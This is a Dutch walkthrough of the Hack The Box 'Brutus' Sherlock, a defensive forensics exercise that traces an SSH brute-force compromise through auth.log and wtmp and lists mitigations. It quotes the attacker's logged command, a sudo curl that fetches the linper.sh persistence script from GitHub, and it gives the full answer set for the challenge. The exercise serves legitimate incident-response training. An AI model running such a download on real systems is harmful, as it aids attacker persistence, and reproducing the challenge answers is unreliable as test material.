HTB Sherlock: Brutus (Very Easy) – Complete Nederlandse Write-up

Hack The Box Sherlock – Brutus
Moeilijkheidsgraad: Very Easy
Rating: 4.6 / 5
Released: 4 april 2024
Gemaakt door: CyberJunkie
Categorie: Blue Team / Linux Forensics

Deze write-up is geschreven door inqwert 

Officiële scenario-omschrijving (Hack The Box)

In this Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.

Kort samengevat: een Confluence-server is gecompromitteerd via een SSH brute-force aanval. Na het verkrijgen van toegang heeft de aanvaller persistence ingericht en verdere acties uitgevoerd. We krijgen alleen auth.log en wtmp en moeten de volledige aanvalsketen reconstrueren. Meer over het oplossen van Sherlocks vind je in onze HTB Sherlocks-gids.

Bestanden in de download

Bestand Type Doel
auth.log Tekstlog Authenticatiepogingen, sessies, useradd, sudo-commando’s
wtmp Binair Login- en logout-records (echte terminal-sessies)
utmp.py Python-script Parser voor wtmp/utmp (meegeleverd door HTB)

Voorbereiding – bestanden uitpakken

Waarom eerst dit?
Altijd eerst kijken wat er in de zip zit. Soms zit er een README, een handig script of een vreemde mapstructuur in.

ls -la /home/workdir/attachments/
mkdir -p /home/workdir/artifacts/brutus
7z x -y -phacktheblue -o/home/workdir/artifacts/brutus/ /home/workdir/attachments/Brutus.zip
ls -la /home/workdir/artifacts/brutus/

Waarom 7z in plaats van gewoon unzip?
De zip gebruikt AES-encryptie (compression method 99). Standaard unzip kan dat niet aan. 7z wel.

Task 1 – Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?

Denkproces:
Bij een SSH brute-force kijk ik altijd als eerste naar Failed password en Invalid user. Dat zijn de klassieke indicators van een password-spray of dictionary attack.

cd /home/workdir/artifacts/brutus
grep -E 'Failed password|Invalid user' auth.log | head -30

Waarom precies deze twee strings?

  • Failed password = pogingen tegen bestaande accounts
  • Invalid user = pogingen tegen niet-bestaande accounts (vaak het begin van een wordlist)

Om snel te zien welk IP het meest voorkomt gebruik ik de klassieke “top talkers” pipeline:

grep -E 'Failed password|Invalid user' auth.log | awk '{print $NF}' | sort | uniq -c | sort -nr

Alle brute-force verkeer komt van 65.2.161.68.

Task Antwoord
1 65.2.161.68

Task 2 – The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?

Denkproces:
Na de brute-force kijk ik altijd naar succesvolle logins. De string Accepted password is hiervoor het meest betrouwbaar.

grep 'Accepted password' auth.log

Resultaat (relevante regels):

Mar  6 06:31:40 ... Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:32:44 ... Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:37:34 ... Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

De brute-force is geslaagd op root. De eerste login (06:31:40) is vermoedelijk de geautomatiseerde tool; de tweede (06:32:44) is de handmatige sessie die we in Task 3 terugzien.

Task Antwoord
2 root

Task 3 – Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.

Denkproces:
De vraag zegt expliciet dat de login-tijd anders is dan de authenticatie-tijd en dat we dit in wtmp moeten zoeken. Dit is een belangrijke tip.

  • auth.log = moment van authenticatie (Accepted password)
  • wtmp = moment waarop een echte interactieve sessie (pts) wordt geopend

wtmp is een binair bestand, daarom gebruiken we het meegeleverde script:

python3 utmp.py wtmp

Waarom het meegeleverde utmp.py?
Het is door HTB zelf meegestuurd, veilig, en geeft nette output met timestamps en IP-adressen. Alternatief is last -f wtmp, maar het script is duidelijker.

Relevante regel uit de output:

"USER"  "2549"  "pts/1"  "ts/1"  "root"  "65.2.161.68"  ...  "2024/03/06 06:32:45"

Dit is één seconde na de tweede Accepted password (06:32:44). Precies het verschil tussen authenticatie en het openen van een echte terminal-sessie.

Task Antwoord
3 2024-03-06 06:32:45

Task 4 – SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?

Denkproces:
Linux (via systemd-logind) kent aan elke login een session number toe. Dit staat bijna altijd direct onder de Accepted password-regel.

grep -A5 -B5 'Accepted password for root from 65.2.161.68 port 53184' auth.log

Waarom -A5 -B5?
Ik wil de context rondom die specifieke login zien. De session number staat meestal 1-2 regels eronder.

Mar  6 06:32:44 ... Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar  6 06:32:44 ... pam_unix(sshd:session): session opened for user root
Mar  6 06:32:44 ... systemd-logind[411]: New session 37 of user root.
Task Antwoord
4 37

Task 5 – The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

Denkproces:
Na een succesvolle login zoekt een aanvaller meestal naar persistence. De meest voorkomende manier op Linux is een nieuw account aanmaken + sudo-rechten geven.

grep -E 'useradd|groupadd|usermod|passwd|chfn' auth.log

Waarom precies deze keywords?

  • useradd / adduser → nieuw account
  • groupadd → vaak samen met useradd
  • usermod → account aan groep toevoegen (vooral sudo)
  • passwd → wachtwoord instellen
  • chfn → full name / info wijzigen

Dit levert de complete keten op van het account cyberjunkie:

Mar  6 06:34:18 ... useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002 ...
Mar  6 06:34:26 ... passwd[2603]: password changed for cyberjunkie
Mar  6 06:35:15 ... usermod[2628]: add 'cyberjunkie' to group 'sudo'
Task Antwoord
5 cyberjunkie

Task 6 – What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

Het aanmaken van een lokale account voor persistence is officieel:

T1136.001 – Create Account: Local Account

Task Antwoord
6 T1136.001

Task 7 – What time did the attacker’s first SSH session end according to auth.log?

Denkproces:
Ik wil weten wanneer de root-sessie (session 37) is afgesloten. Let op: de vraag vraagt naar de eindtijd, niet naar de duur.

grep 'session closed for user root' auth.log

Waarom precies deze string?
sshd logt bij het afsluiten van een sessie altijd pam_unix(sshd:session): session closed for user <user>.

De sessie van sshd[2491] (session 37) sluit op 06:37:24.

Task Antwoord
7 2024-03-06 06:37:24

Task 8 – The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

Denkproces:
Nu de aanvaller als cyberjunkie (met sudo-rechten) is ingelogd, gaat hij waarschijnlijk iets downloaden of privilege-escalatie proberen.

grep 'sudo:' auth.log

Waarom alleen sudo:?
Alles wat met sudo wordt uitgevoerd, wordt gelogd met de string “sudo:”. Dit is de snelste manier om alle elevated commands te vinden.

Mar  6 06:39:38 ... sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Task Antwoord
8 /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Complete antwoordenoverzicht

Task Vraag Antwoord
1 IP-adres van de aanvaller 65.2.161.68
2 Gecompromitteerd account root
3 UTC-timestamp handmatige login 2024-03-06 06:32:45
4 Sessienummer 37
5 Persistence-account cyberjunkie
6 MITRE ATT&CK sub-technique T1136.001
7 Einde eerste SSH-sessie 2024-03-06 06:37:24
8 Volledige sudo-command /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Aanvalsketen samengevat

  1. Brute-force vanaf 65.2.161.68 → root-wachtwoord gekraakt
  2. Echte terminal-sessie (session 37) gestart op 2024-03-06 06:32:45
  3. Nieuwe lokale gebruiker cyberjunkie aangemaakt + aan de sudo-groep toegevoegd (T1136.001)
  4. Root-sessie beëindigd op 06:37:24
  5. Inloggen als cyberjunkie → sudo curl van een enumeration/privilege-escalatie script (linper.sh)

Blue Team lessen & mitigaties

Dit is precies hoe een SOC-analist of incident responder te werk gaat. Hieronder concrete maatregelen die je als systeembeheerder of MKB-IT’er kunt nemen:

Maatregel Waarom effectief Hoe implementeren
SSH-keys forceren Maakt wachtwoord-brute-force nutteloos PasswordAuthentication no in sshd_config
Fail2ban / CrowdSec Blokkeert IP’s automatisch na X mislukte pogingen Standaard jail voor sshd activeren
Root-login uitschakelen Verkleint het aanvalsoppervlak enorm PermitRootLogin no of prohibit-password
Centrale logging (SIEM) Aanvallers kunnen logs niet lokaal wissen Wazuh, ELK, Graylog of cloud SIEM
Monitoring op useradd/usermod Detecteert persistence in een vroeg stadium Alert op useradd, usermod -aG sudo
Monitoring op sudo + curl/wget Detecteert post-exploitation Alert wanneer sudo een externe download uitvoert

Verder lezen op hackerscollectief.nl/

 

Brutus is een uitstekende “Very Easy” Sherlock om de basis van Linux-authenticatie-forensics te leren. Je leert het verschil tussen authenticatie-tijd en sessie-start, hoe je auth.log en wtmp met elkaar correleert, en hoe je persistence en post-exploitation activiteiten herkent.

De kracht van deze challenge zit niet in moeilijke technieken, maar in het systematisch leggen van de puzzelstukjes. Precies wat een goede blue-teamer elke dag doet.

Write-up door inqwert  – Kennis zonder ruis.